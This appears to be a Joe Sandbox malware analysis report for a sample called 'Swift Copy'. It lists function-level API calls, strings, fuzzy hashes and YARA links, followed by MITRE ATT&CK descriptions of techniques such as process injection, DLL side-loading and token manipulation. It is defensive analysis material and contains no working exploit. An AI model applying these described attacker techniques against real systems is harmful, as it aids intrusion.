Instruction ID: 9c81a88e5cbbae1076642f157b36daaae0f50ac362c0babe9285dc98e47d19bb
Opcode Fuzzy Hash: 5a538c614e56beaf91eb4caffba2d8e11b4b90ec8d2146b8dd673cf393b9159b
Instruction Fuzzy Hash: A9119D71100208AEEB114F74DC40AEA376EEB05378F606324F970AB1D0C771DCD19761

Function 00DD6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

CharUpperBuffW.USER32(?,?,?), ref: 00DD6CB6
_wcslen.LIBCMT ref: 00DD6CC2

Strings

STOP, xrefs: 00DD6CBC, 00DD6CC1

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 8c57090fcb3f6d0bf64634b860f7eb3a9fa6815a5e7fce880c62fec4f02264da
Instruction ID: 29994c620e8db534945fb38317513b552fa8062356bae3aa4769fa31c82e573e
Opcode Fuzzy Hash: 8c57090fcb3f6d0bf64634b860f7eb3a9fa6815a5e7fce880c62fec4f02264da
Instruction Fuzzy Hash: 880104326105268ACB209FFDDC818BF7BA5EB60710714052AE85292291FB31D844C6B0

Function 00DD1CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

Part of subcall function 00DD3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00DD3CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00DD1D4C

Strings

ListBox, xrefs: 00DD1D16
ComboBox, xrefs: 00DD1CEB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: e47fa85910aae3514a596000a8c0a471769e7b5d276c7bd788a3b1b03e36e0ff
Instruction ID: 40e8b2922a5bea426f9f2995adcc9268b84b5ba58141f61534c320571aca0693
Opcode Fuzzy Hash: e47fa85910aae3514a596000a8c0a471769e7b5d276c7bd788a3b1b03e36e0ff
Instruction Fuzzy Hash: 44012876600228BBCB14EBA4CC15CFEB769EB12350F04060AF866673C1EB315908C671

Function 00DD1BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

Part of subcall function 00DD3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00DD3CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00DD1C46

Strings

ListBox, xrefs: 00DD1C10
ComboBox, xrefs: 00DD1BE5

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 42bd3834895c68bce1f266a58295a183a8551efe09f74a2389de78bc7be6f785
Instruction ID: 086fcc1366a06323f11192d0bae786740514247f250e9a2d4a8c3a69fdf39dff
Opcode Fuzzy Hash: 42bd3834895c68bce1f266a58295a183a8551efe09f74a2389de78bc7be6f785
Instruction Fuzzy Hash: F501A7767912047ADF14EB94CD66DFFF7A8DB11340F14001AA40677382EA219E18C6B2

Function 00DD1C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

Part of subcall function 00DD3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00DD3CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00DD1CC8

Strings

ListBox, xrefs: 00DD1C94
ComboBox, xrefs: 00DD1C69

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 33b47d0e4cf3c6889223afdabaad31b2d2994f0a65ca478bac812d1b65b8fb07
Instruction ID: e8685af1f1db4577c3a0f85ae6b2211380438cf9810ea8428d2ae1b7b4b04aac
Opcode Fuzzy Hash: 33b47d0e4cf3c6889223afdabaad31b2d2994f0a65ca478bac812d1b65b8fb07
Instruction Fuzzy Hash: 090162B679121876CB15EBA9CE16EFEF7A8DB11340F140016B84673381EA619F18C672

Function 00E08172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00E43018,00E4305C), ref: 00E081BF
CloseHandle.KERNEL32 ref: 00E081D1

Strings

\0, xrefs: 00E0818A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \0
API String ID: 3712363035-3218720685
Opcode ID: e8b2efecc81ea3318603382e71b709191b52ddd32d22564ab099ad559130157b
Instruction ID: 6cf119c8408ef343723706a4e5d8dbcf0d8eb58602db3b6a497e1afc669b8f7e
Opcode Fuzzy Hash: e8b2efecc81ea3318603382e71b709191b52ddd32d22564ab099ad559130157b
Instruction Fuzzy Hash: 4BF0E2B5640300BEE7206732AC06FB73A8CDB05750F000120BB48F50E2D67A9E4983F8

Function 00DF747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DF7493
_wcslen.LIBCMT ref: 00DF74B9

Strings

3, 3, 16, 1, xrefs: 00DF7483

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 9f6c06b12c1c4a55d6c6ff0d543e7cc583e06a4c6a18aad06d4ac50e3e7f2f3a
Instruction ID: 534b08408fee2e8246e4af8865f445d630ad6c0190d592b8455a178b6a8f13c1
Opcode Fuzzy Hash: 9f6c06b12c1c4a55d6c6ff0d543e7cc583e06a4c6a18aad06d4ac50e3e7f2f3a
Instruction Fuzzy Hash: 1EE02B022043242093312279DCC1DBF5689CFC9760715182FFA85C2267EA948D9293B0

Function 00DD0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00DD0B23

Strings

AutoIt, xrefs: 00DD0B17
Error allocating memory., xrefs: 00DD0B1C

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 3f5778f863ceaea0ed6efeb8ab59ee753b9be94e67d7ea6643093f0e98808b70
Instruction ID: 0b764c7cdc013b66164dc2770d61210018b4f099057df07dd100373f4d47a498
Opcode Fuzzy Hash: 3f5778f863ceaea0ed6efeb8ab59ee753b9be94e67d7ea6643093f0e98808b70
Instruction Fuzzy Hash: 2BE0D8322443087AD21437947C07F897BC4CF05B51F20042BF758655C38AD264D046B9

Function 00D90D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D8F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00D90D71,?,?,?,00D7100A), ref: 00D8F7CE

IsDebuggerPresent.KERNEL32(?,?,?,00D7100A), ref: 00D90D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00D7100A), ref: 00D90D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00D90D7F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 1560b5a7b36c1ce4170a3d957b4d2336d0bf91828e6ee74efdafea95e14d02cd
Instruction ID: 5dd0b1053168bf56497e734ee002bfe9639ce1803f27b636662bec6e9f9aaea7
Opcode Fuzzy Hash: 1560b5a7b36c1ce4170a3d957b4d2336d0bf91828e6ee74efdafea95e14d02cd
Instruction Fuzzy Hash: F1E065742007018FD7309F79E4043427FE4EB00750F04892DE496D6A91DBB1E4898BB1

Function 00D8E398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00D8E3D5

Strings

8%, xrefs: 00D8E3CA
0%, xrefs: 00D8E3B5

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Init_thread_footer
String ID: 0%$8%
API String ID: 1385522511-2949748613
Opcode ID: 66841c83c2e57634ff0a4ae0d5349db8077c65e7665815435cd85d381d71ecba
Instruction ID: 384068ac53571d49be831842b535d0d3ec2fb1571dc3158a05ec1e453368c223
Opcode Fuzzy Hash: 66841c83c2e57634ff0a4ae0d5349db8077c65e7665815435cd85d381d71ecba
Instruction Fuzzy Hash: 55E02635500A10CFCB04B719B855A883351EB4A321B90916DF302A71D19B382C428B7A

Function 00DCD21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00DCD220

Strings

X64, xrefs: 00DCD2A8
%.3d, xrefs: 00DCD22B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 00d67c6c8c505af702d809f9f4e9b016fa41b32af963e1267bcb2dc6023991c2
Instruction ID: 3ecca3887c7d179a5d4abff43021f6acb2676cbccbad1133db3434e9889029b0
Opcode Fuzzy Hash: 00d67c6c8c505af702d809f9f4e9b016fa41b32af963e1267bcb2dc6023991c2
Instruction Fuzzy Hash: 49D012A1C0810AE9CB50A7D0CC49EBAF3BDEB09301F608476F886A3040E634D549AB75

Function 00E02356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00E0236C
PostMessageW.USER32(00000000), ref: 00E02373

Part of subcall function 00DDE97B: Sleep.KERNEL32 ref: 00DDE9F3

Strings

Shell_TrayWnd, xrefs: 00E02365

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 71be0cf9695f99dd47e54d42c614fe840bb4c741e1fd9c6d76b271035b1eb5c1
Instruction ID: 4d3af081fbd4a065aa25be749f960d1a4cac803fac925dd38725a8d0e58d89db
Opcode Fuzzy Hash: 71be0cf9695f99dd47e54d42c614fe840bb4c741e1fd9c6d76b271035b1eb5c1
Instruction Fuzzy Hash: B8D0C9763813107BE668B771AC0FFC66A189B04B14F604A167645BA1E4C9A1A845CA65

Function 00E02322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00E0232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00E0233F

Part of subcall function 00DDE97B: Sleep.KERNEL32 ref: 00DDE9F3

Strings

Shell_TrayWnd, xrefs: 00E02325

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: f80b732f3ec69178357246cf51e18d30ae6254faa979d7bb702fe7fc26d13c50
Instruction ID: c368c966bc8c0d78c41e3197aad27dde8fc74cf122dea82e7fcf81036efbf9bc
Opcode Fuzzy Hash: f80b732f3ec69178357246cf51e18d30ae6254faa979d7bb702fe7fc26d13c50
Instruction Fuzzy Hash: C4D01276395310BBE678B771EC1FFC67A18DB00B14F204A177745BA1E4C9F1A845CA64

Function 00DABDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00DABE93
GetLastError.KERNEL32 ref: 00DABEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00DABEFC

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 4e5008fa866826015ce28cf34d584b0a94efeba174db812c27f218642d8a4ebd
Instruction ID: ed45a3eccacf7b44a2d74a0a42f07cbeb8b310c9b6dcaf1538b0d39dacdfed1a
Opcode Fuzzy Hash: 4e5008fa866826015ce28cf34d584b0a94efeba174db812c27f218642d8a4ebd
Instruction Fuzzy Hash: F941D834605246AFCF218F65CC54ABA7BA5DF43330F1C426AF959971A2DB328D02CB70

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

